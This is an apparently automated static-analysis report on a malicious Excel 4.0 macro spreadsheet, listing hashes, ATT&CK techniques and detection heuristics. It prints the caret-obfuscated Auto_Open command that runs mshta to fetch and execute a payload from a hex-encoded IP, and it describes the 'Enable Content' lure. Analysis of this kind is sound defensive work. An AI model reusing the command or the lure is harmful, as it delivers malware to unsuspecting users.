Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 3fc075b759728501…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: c6beb050993b9cda370530641ce32735 SHA-1: eeb80f6c171d7264f82b5cbbbe471e9966e47641 SHA-256: 3fc075b759728501b54d06befb62c33c5cace48c6ad59b7c5a0441ff8e85f6be
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The Auto_Open macro reconstructs the command 'cmd /c msh^t^a http://0xc12a24f5/c.html', indicating it attempts to download and execute a payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes